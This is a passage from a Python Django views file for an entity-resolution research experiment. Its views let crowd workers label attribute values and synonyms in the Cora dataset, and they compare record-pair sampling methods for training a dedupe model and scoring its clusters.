models.sigirAttrExploration.objects.filter(substring__in=multis,user=username).update(is_labelled=True)\n        # msg = {\"attrname\": attrbute_name, 'selectedvalues': multis}\n        models.dextraitems.objects.create(task=taskc, msg=json.dumps(msg),\n                                          optype=dxaconstants.WorkerOperation.valueBind, user=data[0],\n                                          samplingMethod=samplemth)\n\n    matches = []\n    seeds = models.patternSeedTemp.objects.filter(user=username)\n\n    if seeds:\n        seedslist = processhelper.str2list(seedstr=seeds[0].seedsubstring,deli='###')\n        syn = models.sigirCoraValueSynonym.objects.filter(synonym=seedslist[0],userid=data[0])[0]\n        attrname = syn.value.attr.attrname\n        attrid = syn.value.attr_id\n        values = models.sigirCoraAttrValue.objects.filter(attr_id=attrid,userid=data[0])\n        osysn = models.sigirCoraValueSynonym.objects.filter(value_id__in=[ item.id for item in values])\n        match = patternRecommendation.findCandidateSilbings(seedslist=seedslist,data=dataset)\n        matches = list(set(match).difference(set([item.synonym for item in osysn])))\n    return render(request, 'sigir/pattern_siblings.html',{'matches':matches,'attrname':attrname})\n\ndef pattern_synonyms(request):\n    username = request.session['username']\n    data = WorkerInfo.objects.filter(user=username).values_list('id', flat=True)\n    if request.method == 'POST':\n        pp = request.POST\n        print(pp)\n        keys = request.POST.get('kkeys')\n        print(keys)\n        msg = []\n        if not keys:\n            print(\"keys none\")\n        else:\n            print(keys)\n            keylist = processhelper.str2list(seedstr=keys,deli='###')\n            print(keylist)\n\n            for k in  keylist:\n                multis = request.POST.getlist(k)\n                print(k,'------>',multis)\n                val = models.sigirCoraAttrValue.objects.filter(value=k,userid=data[0])[0]\n                for item in  multis:\n                    a = processhelper.updateUVDcontent(dataset=dataset,attra=val.attr,valueid=val.id,attrsynonym=item,userid=data[0],username=username)\n                    msg.append(a)\n        models.dextraitems.objects.create(task=taskc, msg=json.dumps(msg),\n                                          optype=dxaconstants.WorkerOperation.valueBind, user=data[0],\n                                          samplingMethod=samplemth)\n\n    dict = {}\n    seeds = models.sigirSynonymsSeedTemp.objects.filter(user=username)\n    if seeds:\n        currentAttr = seeds[0].cattr\n        dict = patternRecommendation.synonymsForCurrentAttr(data=dataset, currentAttr=currentAttr)\n        keyss = '###'.join([k for k,v in dict.items()])\n    return render(request, 'sigir/pattern_synonyms.html',{'dict':dict,'kkeys':keyss})\n\n\n\n\n\ndef add(request):\n    username = request.session['username']\n    data = WorkerInfo.objects.filter(user=username).values_list('id', flat=True)\n    print(data[0])\n    if request.method == 'POST':\n        attrname = request.POST.get('attrname')\n        scope = request.POST.get('is_local')\n        print(attrname, scope)\n        # models.sigirCoraAttr.objects.create(attrname=attrname, attrscope=scope, is_alive=1, userid=data[0])\n        coraattr = models.sigirCoraAttr(attrname=attrname, attrscope=scope, is_alive=1, userid=data[0])\n        coraattr.save()\n        value = request.POST.get(\"attrvalue\").strip()\n        attrsynonym = request.POST.get(\"attrsynonym\").strip()\n        print(value, attrsynonym)\n        if len(value) > 0:\n            if len(attrsynonym) == 0:\n                attrsynonym = value\n\n            seedsstr = processhelper.list2str(seedslist=[attrsynonym], deli='###')\n            processhelper.createUpdatePatternSeed(username=username, seedsstr=seedsstr, coraattr=coraattr)\n            # val = models.sigirCoraAttrValue(attr_id=coraattr.id, value=value, userid=data[0])\n            # val.save()\n            #\n            # corasyno = models.sigirCoraValueSynonym(value=val, synonym=attrsynonym, userid=data[0])\n            # corasyno.save()\n            #\n            # # ss = models.patternSeedTemp.objects.filter(user=username)\n            # #\n            # # if ss:\n            # #     ss[0].seedsubstring = seedsstr\n            # #     ss[0].save()\n            # #     # seedtemp = models.patternSeedTemp.objects.get(user=username)\n            # #     # seedtemp.seedsubstring = seedsstr\n            # #     # seedtemp.save()\n            # #     models.sigirSynonymsSeedTemp.objects.filter(user=username).update(cattr=coraattr)\n            # # else:\n            # #     models.patternSeedTemp.objects.create(seedsubstring=seedsstr, user=username)\n            # #     models.sigirSynonymsSeedTemp.objects.create(cattr=coraattr, user=username)\n            #\n            # # llist = Cora_labeled.objects.filter(\n            # #     Q(cleantext__icontains=' ' + attrsynonym + ' ') | Q(cleantext__istartswith=attrsynonym + ' ') | Q(\n            # #         cleantext__iendswith=' ' + attrsynonym))\n            # # llist = dataset.filter(\n            # #     Q(cleantext__icontains=' ' + attrsynonym + ' ') | Q(cleantext__istartswith=attrsynonym + ' ') | Q(\n            # #         cleantext__iendswith=' ' + attrsynonym))\n            # # if len(llist) == 0:\n            # #     llist = dataset.filter(text__icontains=attrsynonym)\n            # # # restr = '<details><summary><span class=\"summaryText\">'+attra.attrname+'</span></summary><p class = \"detailtext\">'+attrsynonym+'</p></details>'\n            # # restr = '<span class = \"detailtext\">' + attrsynonym + '<span class=\"deli\">|</span><span class=\"summaryText\">' + attrname + '.' + value + '</span></span>'\n            # llist = processhelper.datasetfilteringMultiContitiion(dataset=dataset, substring=attrsynonym)\n            # restr = processhelper.viewhelper(substring=attrsynonym, attrbute_name=attrname, value=value)\n            # for entiy in llist:\n            #     entiy.labeledtext = entiy.labeledtext.replace(attrsynonym, restr)\n            #     entiy.save()\n            #     models.sigirCoraToAttrEntity.objects.create(cora_id=entiy.id, attrsynonym=corasyno,user=username)\n            # item = models.sigirAttrExploration.objects.filter(substring=value,user=username)\n            # if item:\n            #     item[0].is_labelled = True\n            #     item[0].save()\n            # msg = {\"attrname\": attrname, \"value\": value, \"synonym\": attrsynonym}\n            # msg = processhelper.updateUVDcontent(dataset=dataset,attra=coraattr,value=value,attrsynonym=attrsynonym,userid=data[0],username=username)\n            value = value.replace(' ','_')\n            val = models.sigirCoraAttrValue(attr_id=coraattr.id, value=value, userid=data[0])\n            val.save()\n            msg = processhelper.updateUVDcontent(dataset=dataset, attra=coraattr, valueid=val.id, attrsynonym=attrsynonym,\n                                                 userid=data[0], username=username)\n\n            models.dextraitems.objects.create(task=taskc, msg=json.dumps(msg),\n                                              optype=dxaconstants.WorkerOperation.createAndBind, user=data[0],\n                                              samplingMethod=samplemth)\n        else:\n            msg = {\"attrname\": attrname}\n            WorkLog.objects.create(task=dxaconstants.ERTASK.Cora, operate_message=json.dumps(msg),\n                                   operate_flag=dxaconstants.WorkerOperation.attributeCreate, operate_user=data[0])\n            models.dextraitems.objects.create(task=taskc, msg=json.dumps(msg),\n                                              optype=dxaconstants.WorkerOperation.attributeCreate, user=data[0],\n                                              samplingMethod=samplemth)\n    return render(request, 'sigir/add.html')\n\n\ndef addvalue(request):\n    username = request.session['username']\n    uids = WorkerInfo.objects.filter(user=username).values_list('id', flat=True)\n    if request.method == 'POST':\n        print(uids[0])\n        seleattr = request.POST.get(\"seleattr\")\n        print(\"seleattr\")\n        print(seleattr)\n        value = request.POST.get(\"attrvalue\").strip()\n        attrsynonym = request.POST.get(\"attrsynonym\").strip()\n        print(value,attrsynonym)\n        attra = models.sigirCoraAttr.objects.get(id=seleattr)\n\n        # models.CoraAttrValue.objects.create(attr_id=seleattr,value=value,userid=uids[0])\n        # val = models.sigirCoraAttrValue(attr_id=seleattr,value=value,userid=uids[0])\n        # val.save()\n        # # values = models.CoraAttrValue.objects.filter(value=value)\n        # # print(values[0].id)\n        # # models.CoraValueSynonym.objects.create(value=values[0],synonym=attrsynonym,userid=uids[0])\n        # corasyno = models.sigirCoraValueSynonym(value=val,synonym=attrsynonym,userid=uids[0])\n        # corasyno.save()\n        # seedsstr = processhelper.list2str(seedslist=[attrsynonym], deli='###')\n        # seedtemp = models.patternSeedTemp.objects.get(user=username)\n        # seedtemp.seedsubstring = seedsstr\n        # seedtemp.save()\n\n        seedsstr = processhelper.list2str(seedslist=[attrsynonym], deli='###')\n        processhelper.createUpdatePatternSeed(username=username,seedsstr=seedsstr,coraattr=attra)\n        msg = {\"attr_id\":seleattr,\"value\":value,\"synonym\":attrsynonym}\n        WorkLog.objects.create(task=dxaconstants.ERTASK.Cora,operate_message=json.dumps(msg), operate_flag=dxaconstants.WorkerOperation.valueBind,operate_user=uids[0])\n       #  llist = dataset.filter(Q(cleantext__icontains=' ' + attrsynonym + ' ')| Q(cleantext__istartswith=attrsynonym + ' ')|Q(cleantext__iendswith=' ' + attrsynonym ))\n       #  if len(llist)==0:\n       #      llist = dataset.filter(text__icontains=attrsynonym)\n       #  attra = models.sigirCoraAttr.objects.get(id=seleattr)\n       # #restr = '<details><summary><span class=\"summaryText\">'+attra.attrname+'</span></summary><p class = \"detailtext\">'+attrsynonym+'</p></details>'\n       #  restr = '<span class = \"detailtext\">'+ attrsynonym +'<span class=\"deli\">|</span><span class=\"summaryText\">' + attra.attrname+'.'+value + '</span></span>'\n\n        # llist = processhelper.datasetfilteringMultiContitiion(dataset=dataset, substring=attrsynonym)\n        # restr = processhelper.viewhelper(substring=attrsynonym, attrbute_name=attra.attrname, value=value)\n        # for entiy in llist:\n        #     entiy.labeledtext = entiy.labeledtext.replace(attrsynonym,restr)\n        #     entiy.save()\n        #     models.sigirCoraToAttrEntity.objects.create(cora_id=entiy.id,attrsynonym=corasyno)\n        # item = models.sigirAttrExploration.objects.filter(substring=attrsynonym,user=username)\n        # if item:\n        #     item[0].is_labelled = True\n        #     item[0].save()\n        # msg = {\"attrname\": attra.attrname, \"value\": value, \"synonym\": attrsynonym}\n        value = value.replace(' ','_')\n        val = models.sigirCoraAttrValue(attr_id=attra.id, value=value, userid=uids[0])\n        val.save()\n        msg = processhelper.updateUVDcontent(dataset=dataset,attra=attra,valueid=val.id,attrsynonym=attrsynonym,userid=uids[0],username=username)\n        models.dextraitems.objects.create(task=taskc, msg=json.dumps(msg),\n                                          optype=dxaconstants.WorkerOperation.valueBind, user=uids[0],\n                                          samplingMethod=samplemth)\n    data = models.sigirCoraAttr.objects.filter(userid=uids[0])\n    return render(request, 'sigir/addvalue.html', {'data': data})\n\n\ndef addsynonym(request):\n    username = request.session['username']\n    uids = WorkerInfo.objects.filter(user=username).values_list('id', flat=True)\n    if request.is_ajax():\n        print(request.body)\n        print(request.POST)\n        # attrs = json.loads(request.body.decode(\"utf8\"))\n        # print(attrs)\n        # attr = attrs.get(\"attribute\")\n        # print(attr)\n        attribute = request.POST.get(\"attribute\")\n        print(\"attriname\",attribute)\n        test = request.POST.get(\"test\")\n        print(\"test\",test) #ok\n        test2 = request.POST.get(\"test2\")\n        print(\"test2\",test2) #ok\n        test3 = request.POST.get(\"test3\")\n        print(\"test3\",test3)\n        valuelist = models.sigirCoraAttrValue.objects.filter(attr_id=test).values('id','value')\n        print(valuelist)\n        htmlstr = \"\"\n\n        for i in  valuelist:\n            print(i['id'],i['value'])\n            htmlstr = htmlstr +\"<option value='\"+str(i['id'])+\"'>\"+i['value']+\"</option>\"\n        # a = dict(list(valuelist))\n        # print(a)\n        # for k,v in  a:\n        #     print(k,v)\n        data = {'valuestr': htmlstr}\n\n\n        # data = serializers.serialize(\"json\",valuelist)\n        return HttpResponse(json.dumps(data))\n        # return JsonResponse(valuelist,safe=False)\n\n    if request.method == 'POST':\n        value = request.POST.get(\"seleval\")\n        print('value:',value)\n        attrsynonym = request.POST.get(\"attrsynonym\").strip()\n        print(attrsynonym)\n        seleattr = request.POST.get(\"attrname\")\n        attra = models.sigirCoraAttr.objects.get(id=seleattr)\n        seedsstr = processhelper.list2str(seedslist=[attrsynonym], deli='###')\n        processhelper.createUpdatePatternSeed(username=username, seedsstr=seedsstr, coraattr=attra)\n        # # models.CoraValueSynonym.objects.create(value_id=value, synonym=attrsynonym, userid=uids[0])\n        # corasyno = models.sigirCoraValueSynonym(value_id=value, synonym=attrsynonym, userid=uids[0])\n        # corasyno.save()\n\n        msg = {\"value_id\": value, \"synonym\": attrsynonym}\n        WorkLog.objects.create(task=dxaconstants.ERTASK.Cora, operate_message=json.dumps(msg),\n                               operate_flag=dxaconstants.WorkerOperation.valueBind, operate_user=uids[0])\n        # llist = Cora_labeled.objects.filter(labeledtext__icontains=attrsynonym)\n        # llist = Cora_labeled.objects.filter(Q(cleantext__icontains=' ' + attrsynonym + ' ')| Q(cleantext__istartswith=attrsynonym + ' ')|Q(cleantext__iendswith=' ' + attrsynonym ))\n        # if len(llist) == 0:\n        #     llist = Cora_labeled.objects.filter(text__icontains= attrsynonym)\n\n        # #restr = '<details><summary><span class=\"summaryText\">'+attra.attrname+'</span></summary><p class = \"detailtext\">'+attrsynonym+'</p></details>'\n        # restr = '<span class = \"detailtext\">' + attrsynonym + '<span class=\"deli\">|</span><span class=\"summaryText\">' + attra.attrname + '.' + corasyno.value.value + '</span></span>'\n        # llist = processhelper.datasetfilteringMultiContitiion(dataset=dataset, substring=attrsynonym)\n        # restr = processhelper.viewhelper(substring=attrsynonym, attrbute_name=attra.attrname, value=corasyno.value.value)\n        # for entiy in llist:\n        #     entiy.labeledtext = entiy.labeledtext.replace(attrsynonym,restr)\n        #     entiy.save()\n        #     models.sigirCoraToAttrEntity.objects.create(cora_id=entiy.id, attrsynonym=corasyno)\n        # item = models.sigirAttrExploration.objects.filter(substring=attrsynonym,user=username)\n        # if item:\n        #     item[0].is_labelled = True\n        #     item[0].save()\n        # msg = {\"attrname\": attra.attrname, \"value\": corasyno.value.value, \"synonym\": attrsynonym}\n        msg = processhelper.updateUVDcontent(dataset=dataset,attra=attra,valueid=value,attrsynonym=attrsynonym,userid=uids[0],username=username)\n        models.dextraitems.objects.create(task=taskc, msg=json.dumps(msg),\n                                          optype=dxaconstants.WorkerOperation.valueBind, user=uids[0],\n                                          samplingMethod=samplemth)\n    data = models.sigirCoraAttr.objects.filter(userid=uids[0])\n    return render(request, 'sigir/addsynonym.html', {'data': data})\n\n\n\n\n\n\n\ndef searchsampling(request):\n    if request.method == 'POST':\n        username = request.session['username']\n        current = alloymodels.CoraTemp.objects.get(id=1)\n        # cora = Cora.objects.get(id=current.currentCora_id)\n        submittype = request.POST.get(\"submit\")\n        print(submittype)\n        if submittype == \"Save and check another\":\n            # pseedid = request.POST.get(\"pseedid\")\n            # print(pseedid)\n            # cora = Cora.objects.get(id=pseedid)\n            print(\"Save and check another\")\n            multis = request.POST.getlist(\"Records\")\n            print(multis)\n            multitems = models.MultiItems.objects.get(seedid=current.currentCora_id,is_checked=-1)\n            multitems.selectedidset = str(multis)\n            multitems.is_checked = 1\n            multitems.save()\n            coun = models.MultiItems.objects.filter(is_checked=1,samplingMethod=samplemth).count()\n            if coun > workeroperatiionNum/2:\n                print(coun)\n                return render(request, 'sigir/exploreperformance.html')\n        elif submittype == \"submitKeywords\":\n            # pseedid = request.POST.get(\"pseedid\")\n            # print(pseedid)\n            # cora = Cora.objects.get(id=pseedid)\n\n            print(\"submitKeywords\")\n            seed1kw = request.POST.get(\"seed1kw\")\n            print(seed1kw)\n            if seed1kw:\n                print(True)\n                similar = headcast.searchtfidf(seedid=current.currentCora_id, kw=seed1kw, num=9)\n                # similar = searchmh(kw=seed1kw, seedid=current.currentCora_id, num=9)\n                print(similar)\n            data = {'similar': similar, 'seed': current.currentCora}\n            print(data)\n            simiids = [item.id for item in similar]\n            models.MultiItems.objects.create(seedid=current.currentCora_id,text1=current.currentCora.text,keywords=seed1kw, candidateidset=str(simiids),samplingMethod=samplemth,task=dxaconstants.ERTASK.Cora,user=username)\n            return render(request, 'sigir/records_searchsampling.html', data)\n        elif submittype == \"Save\":\n            print(\"save\")\n        else:\n            print(\"Replace\")\n        # crowdCora.objects.create(cora_id=focusedentities[fc], testsystem=dxaconstants.TestSystems.DEXTRA,\n        #                          clusterid=cluid)\n    fc = 0\n    seed = Cora.objects.order_by('?')[:1]\n    print(seed)\n    print(seed[fc].id)\n    current = alloymodels.CoraTemp.objects.get(id=1)\n    print(current.currentCora)\n    current.currentCora = seed[fc]\n    current.save()\n    print(current.currentCora_id)\n    data = {'seed': current.currentCora}\n    print(\"seed:\")\n    print(seed[fc].id)\n    print(seed[fc].text)\n    print(\"current:\")\n    print(current.currentCora_id)\n    return render(request, 'sigir/records_searchsampling.html',data)\n\n\n\ndef record_uncertainsampling(request):\n\n    # To train dedupe, we feed it a sample of records.\n    # deduper.sample(temp_d)\n    # If we have training data saved from a previous run of dedupe,\n    # look for it an load it in.\n    # __Note:__ if you want to train from scratch, delete the training_file\n    if os.path.exists(training_file):\n        print('reading labeled examples from ', training_file)\n        with open(training_file, 'rb') as f:\n            deduper.readTraining(f)\n    username = request.session['username']\n    if request.method == 'POST':\n        is_same = request.POST.get('is_same')\n        print(is_same)\n        unpairid = request.POST.get(\"unpairid\")\n        print(unpairid)\n        unpair = models.piars.objects.get(id=unpairid)\n        unpair.is_same = is_same\n        unpair.save()\n        examples = {'distinct': [], 'match': []}\n        d1 = dict([('text', unpair.text1), ('id', str(unpair.id1))])\n        d2 = dict([('text', unpair.text2), ('id', str(unpair.id2))])\n        record_pair = (d1,d2)\n        uids = WorkerInfo.objects.filter(user=username).values_list('id', flat=True)\n        msg = {\"unpair_id1\": unpair.id1, \"unpair_id2\": unpair.id2, \"is_same\": is_same}\n        WorkLog.objects.create(task=dxaconstants.ERTASK.Cora, operate_message=json.dumps(msg),\n                               operate_flag=dxaconstants.WorkerOperation.pairJudge, operate_user=uids[0],\n                               operate_system=dxaconstants.TestSystems.SigirExpriment)\n        if is_same == 1:\n            examples['match'].append(record_pair)\n        elif is_same == 0:\n            examples['distinct'].append(record_pair)\n        deduper.markPairs(examples)\n        match = models.piars.objects.filter(is_same=1, user=username,samplingMethod=dxaconstants.RecordSamplingMethod.UncertainSampling)\n        n_match = match.count()\n        print('match',n_match)\n        different = models.piars.objects.filter(is_same=0, user=username, samplingMethod=dxaconstants.RecordSamplingMethod.UncertainSampling)\n        n_different = different.count()\n        print('different',n_different)\n        if n_match + n_different < workeroperatiionNum:\n            upair = deduper.uncertainPairs()\n\n            return render(request, 'sigir/records_uncertainsampling.html',\n                          {\"record1\": upair[0][0], \"record2\": upair[0][1], 'unid': unpair.id, 'n_match': n_match,\n                           'n_different': n_different})\n        else:\n            examples = {'distinct': [], 'match': []}\n            for mitem in match:\n                d1 = dict([('text', mitem.text1), ('id', str(mitem.id1))])\n                d2 = dict([('text', mitem.text2), ('id', str(mitem.id2))])\n                record_pair = (d1, d2)\n                examples['match'].append(record_pair)\n            for ditem in different:\n                d1 = dict([('text', ditem.text1), ('id', str(ditem.id1))])\n                d2 = dict([('text', ditem.text2), ('id', str(ditem.id2))])\n                record_pair = (d1, d2)\n                # record_pair = dict([('text', ditem.text1), ('id', ditem.id1)]) + dict(\n                #     [('text', ditem.text2), ('id', ditem.id2)])\n                print(record_pair)\n                examples['distinct'].append(record_pair)\n            print(examples)\n            deduper.markPairs(examples)\n            deduper.train()\n            print('train done')\n\n            # When finished, save our training away to disk\n            with open(training_file, 'w') as tf:\n                deduper.writeTraining(tf)\n            # Save our weights and predicates to disk.  If the settings file\n            # exists, we will skip all the training and learning next time we run\n            # this file.\n            with open(settings_file, 'wb') as sf:\n                deduper.writeSettings(sf)\n            threshold = deduper.threshold(temp_d, recall_weight=1)\n            print('clustering...')\n            clustered_dupes = deduper.match(temp_d, threshold)\n\n            print('# duplicate sets', len(clustered_dupes))\n            cluster_membership = {}\n            cluster_id = 0\n            print(clustered_dupes)\n\n            for (cluster_id, cluster) in enumerate(clustered_dupes):\n                id_set, scores = cluster\n                print(id_set)\n                cluster_d = [temp_d[c] for c in id_set]\n                print(cluster_d)\n                # canonical_rep = dedupe.canonicalize(cluster_d)\n                for record_id, score in zip(id_set, scores):\n                    cluster_membership[record_id] = {\n                        \"cluster id\": cluster_id,\n                        # \"canonical representation\": canonical_rep,\n                        \"confidence\": score\n\n                    }\n                    models.CoraPerformanceLog.objects.create(explorationMethod=dxaconstants.RecordSamplingMethod.UncertainSampling,\n                                               clusterid=cluster_id, cora_id=record_id,\n                                               confidence=score,workerOperationNum=workeroperatiionNum)\n\n            singleton_id = cluster_id + 1\n            print(cluster_membership)\n            cora_true = models.CoraPerformanceLog.objects.filter(explorationMethod='groundtruth').order_by('cora_id')\n            print(cora_true)\n            aa = [item.clusterid for item in cora_true]\n            for item in cora_true:\n                coraid = item.cora_id\n                if coraid in cluster_membership:\n                    print(coraid)\n                else:\n                    singleton_id += 1\n                    models.CoraPerformanceLog.objects.create(explorationMethod=dxaconstants.RecordSamplingMethod.UncertainSampling, clusterid=singleton_id, cora_id=coraid,confidence=0,workerOperationNum=workeroperatiionNum)\n\n            # a = clusterCora.objects.filter(user=username,is_checked=-1).aggregate(Min('clusterid'))\n            # datas = clusterCora.objects.filter(clusterid=a['clusterid__min'])\n            # print(datas)\n            # sett = set(item.cora_id for item in datas)\n            # coras = Cora.objects.filter(id__in=sett)\n            # return render(request, 'dedupe/clusterreview.html',{'data':coras,'clusterid':a['clusterid__min']})\n            cora_true = models.CoraPerformanceLog.objects.filter(explorationMethod='groundtruth').order_by('cora_id')\n            print(cora_true)\n            aa_true = [item.clusterid for item in cora_true]\n            cluster_membership = models.CoraPerformanceLog.objects.filter(\n                explorationMethod='RecordSamplingMethod.UncertainSampling',workerOperationNum=workeroperatiionNum).order_by('cora_id')\n            bb_pred = [item.clusterid for item in cluster_membership]\n            nmi = performancemeasure.clusterNMI(y_true=aa_true, y_pred=bb_pred)\n            dict = performancemeasure.clusterMeasureSet(aa_true=aa_true, bb_pred=bb_pred,\n                                                        RecordSamplingMethod=samplemth,\n                                                        workerOperationNum=workeroperatiionNum)\n            return render(request,'sigir/exploreperformance.html',dict)\n\n\n\n    upair = deduper.uncertainPairs()\n    print(upair)\n    print(upair[0][0])\n    print(upair[0][1])\n    unpair = models.piars(id1=upair[0][0]['id'],id2=upair[0][1]['id'],text1=upair[0][0]['text'],\n                                   text2=upair[0][1]['text'],task=dxaconstants.ERTASK.Cora,user=username,samplingMethod=dxaconstants.RecordSamplingMethod.UncertainSampling)\n    unpair.save()\n    n_match = models.piars.objects.filter(is_same=1, user=username, samplingMethod=samplemth).count()\n    n_different = models.piars.objects.filter(is_same=0, user=username, samplingMethod=samplemth).count()\n    return render(request,'sigir/records_uncertainsampling.html',{\"record1\": upair[0][0], \"record2\": upair[0][1],\n                                                     'unid': unpair.id,'n_match':n_match,'n_different':n_different})\n    # return render(request, 'dedupe/activelabel.html', {\"upair\": upair[0]})\n\n\ndef record_randomsampling(request):\n\n    # To train dedupe, we feed it a sample of records.\n    # deduper.sample(temp_d)\n    # If we have training data saved from a previous run of dedupe,\n    # look for it an load it in.\n    # __Note:__ if you want to train from scratch, delete the training_file\n    # if os.path.exists(training_file):\n    #     print('reading labeled examples from ', training_file)\n    #     with open(training_file, 'rb') as f:\n    #         deduper.readTraining(f)\n    username = request.session['username']\n    if request.method == 'POST':\n        is_same = request.POST.get('is_same')\n        print(is_same)\n        unpairid = request.POST.get(\"unpairid\")\n        print(unpairid)\n        unpair = models.piars.objects.get(id=unpairid)\n        unpair.is_same = is_same\n        unpair.save()\n        examples = {'distinct': [], 'match': []}\n        d1 = dict([('text', unpair.text1), ('id', str(unpair.id1))])\n        d2 = dict([('text', unpair.text2), ('id', str(unpair.id2))])\n        record_pair = (d1,d2)\n        uids = WorkerInfo.objects.filter(user=username).values_list('id', flat=True)\n        msg = {\"unpair_id1\": unpair.id1, \"unpair_id2\": unpair.id2, \"is_same\": is_same}\n        WorkLog.objects.create(task=dxaconstants.ERTASK.Cora, operate_message=json.dumps(msg),\n                               operate_flag=dxaconstants.WorkerOperation.pairJudge, operate_user=uids[0],\n                               operate_system=dxaconstants.TestSystems.SigirExpriment)\n        if is_same == 1:\n            examples['match'].append(record_pair)\n        elif is_same == 0:\n            examples['distinct'].append(record_pair)\n        deduper.markPairs(examples)\n        match = models.piars.objects.filter(is_same=1, user=username,samplingMethod=samplemth)\n        n_match = match.count()\n        print('match',n_match)\n        different = models.piars.objects.filter(is_same=0, user=username, samplingMethod=samplemth)\n        n_different = different.count()\n        print('different',n_different)\n        if n_match + n_different < workeroperatiionNum:\n            randpair = Cora.objects.order_by('?')[:2]\n            unpair = models.piars(id1=randpair[0].id, id2=randpair[1].id, text1=randpair[0].text,\n                                  text2=randpair[1].text, task=dxaconstants.ERTASK.Cora, user=username,\n                                  samplingMethod=samplemth)\n            unpair.save()\n            return render(request, 'sigir/records_randomsampling.html',\n                          {\"record1\": randpair[0], \"record2\": randpair[1],\n                           'unid': unpair.id, 'n_match': n_match, 'n_different': n_different})\n        else:\n            examples = {'distinct': [], 'match': []}\n            for mitem in match:\n                d1 = dict([('text', mitem.text1), ('id', str(mitem.id1))])\n                d2 = dict([('text', mitem.text2), ('id', str(mitem.id2))])\n                record_pair = (d1, d2)\n                examples['match'].append(record_pair)\n            for ditem in different:\n                d1 = dict([('text', ditem.text1), ('id', str(ditem.id1))])\n                d2 = dict([('text', ditem.text2), ('id', str(ditem.id2))])\n                record_pair = (d1, d2)\n                # record_pair = dict([('text', ditem.text1), ('id', ditem.id1)]) + dict(\n                #     [('text', ditem.text2), ('id', ditem.id2)])\n                print(record_pair)\n                examples['distinct'].append(record_pair)\n            print(examples)\n            deduper.markPairs(examples)\n            deduper.train()\n            print('train done')\n            # blocking.blockingsql()\n\n            # print(deduper.blocker.index_fields)\n            #\n            # for field in deduper.blocker.index_fields:\n            #     print(field)\n            #     # field_data = set(record[field] for record in temp_d)\n            #     # print(temp_d)\n            #     # for record in temp_d:\n            #     #     print(record)\n            #     #     print(temp_d[record][field])\n            #     field_data = set(temp_d[record][field] for record in temp_d)\n            #     print(field_data)\n            #     deduper.blocker.index(data=field_data, field=field)\n            # # deduper.blocker.indexAll(temp_d)\n            # block_ids = deduper.blocker(temp_d, target=False)\n            # print(\"block_ids\")\n            # print(block_ids)\n\n            # When finished, save our training away to disk\n            with open(training_file, 'w') as tf:\n                deduper.writeTraining(tf)\n            # Save our weights and predicates to disk.  If the settings file\n            # exists, we will skip all the training and learning next time we run\n            # this file.\n            with open(settings_file, 'wb') as sf:\n                deduper.writeSettings(sf)\n            threshold = deduper.threshold(temp_d, recall_weight=1)\n            print('clustering...')\n            clustered_dupes = deduper.match(temp_d, threshold)\n\n            print('# duplicate sets', len(clustered_dupes))\n            cluster_membership = {}\n            cluster_id = 0\n            print(clustered_dupes)\n\n            for (cluster_id, cluster) in enumerate(clustered_dupes):\n                id_set, scores = cluster\n                print(id_set)\n                cluster_d = [temp_d[c] for c in id_set]\n                print(cluster_d)\n                # canonical_rep = dedupe.canonicalize(cluster_d)\n                for record_id, score in zip(id_set, scores):\n                    cluster_membership[record_id] = {\n                        \"cluster id\": cluster_id,\n                        # \"canonical representation\": canonical_rep,\n                        \"confidence\": score\n\n                    }\n                    models.CoraPerformanceLog.objects.create(explorationMethod=samplemth,\n                                               clusterid=cluster_id, cora_id=record_id,\n                                               confidence=score,workerOperationNum=workeroperatiionNum)\n\n            singleton_id = cluster_id + 1\n            print(cluster_membership)\n            cora_true = models.CoraPerformanceLog.objects.filter(explorationMethod='groundtruth').order_by('cora_id')\n            print(cora_true)\n            aa = [item.clusterid for item in cora_true]\n            for item in cora_true:\n                coraid = item.cora_id\n                if coraid in cluster_membership:\n                    print(coraid)\n                else:\n                    singleton_id += 1\n                    models.CoraPerformanceLog.objects.create(explorationMethod=samplemth, clusterid=singleton_id, cora_id=coraid,confidence=0,workerOperationNum=workeroperatiionNum)\n\n            # a = clusterCora.objects.filter(user=username,is_checked=-1).aggregate(Min('clusterid'))\n            # datas = clusterCora.objects.filter(clusterid=a['clusterid__min'])\n            # print(datas)\n            # sett = set(item.cora_id for item in datas)\n            # coras = Cora.objects.filter(id__in=sett)\n            # return render(request, 'dedupe/clusterreview.html',{'data':coras,'clusterid':a['clusterid__min']})\n            cora_true = models.CoraPerformanceLog.objects.filter(explorationMethod='groundtruth').order_by('cora_id')\n            print(cora_true)\n            aa_true = [item.clusterid for item in cora_true]\n            cluster_membership = models.CoraPerformanceLog.objects.filter(\n                explorationMethod=samplemth,workerOperationNum=workeroperatiionNum).order_by('cora_id')\n            bb_pred = [item.clusterid for item in cluster_membership]\n            nmi = performancemeasure.clusterNMI(y_true=aa_true, y_pred=bb_pred)\n            dict = performancemeasure.clusterMeasureSet(aa_true=aa_true,bb_pred=bb_pred,RecordSamplingMethod=samplemth,workerOperationNum=workeroperatiionNum)\n            return render(request,'sigir/exploreperformance.html',dict)\n\n    randpair = Cora.objects.order_by('?')[:2]\n    print(randpair)\n    for item in  randpair:\n        print(item)\n        print(item.id)\n\n\n    print(randpair[0].id)\n    print(randpair[1].id)\n    upair = deduper.uncertainPairs()\n    # print(upair)\n    #     # print(upair[0][0])\n    #     # print(upair[0][1])\n    unpair = models.piars(id1=randpair[0].id,id2=randpair[1].id,text1=randpair[0].text,\n                                   text2=randpair[1].text,task=dxaconstants.ERTASK.Cora,user=username,samplingMethod=samplemth)\n    unpair.save()\n    n_match = models.piars.objects.filter(is_same=1, user=username,samplingMethod=samplemth).count()\n    n_different = models.piars.objects.filter(is_same=0, user=username,samplingMethod=samplemth).count()\n    return render(request,'sigir/records_uncertainsampling.html',{\"record1\": randpair[0], \"record2\": randpair[1],\n                                                     'unid': unpair.id,'n_match':n_match,'n_different':n_different})\n\n    # return render(request, 'dedupe/activelabel.html', {\"upair\": upair[0]})\n","repo_name":"Sayarara/pyweb","sub_path":"sigirexperiments/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":63520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
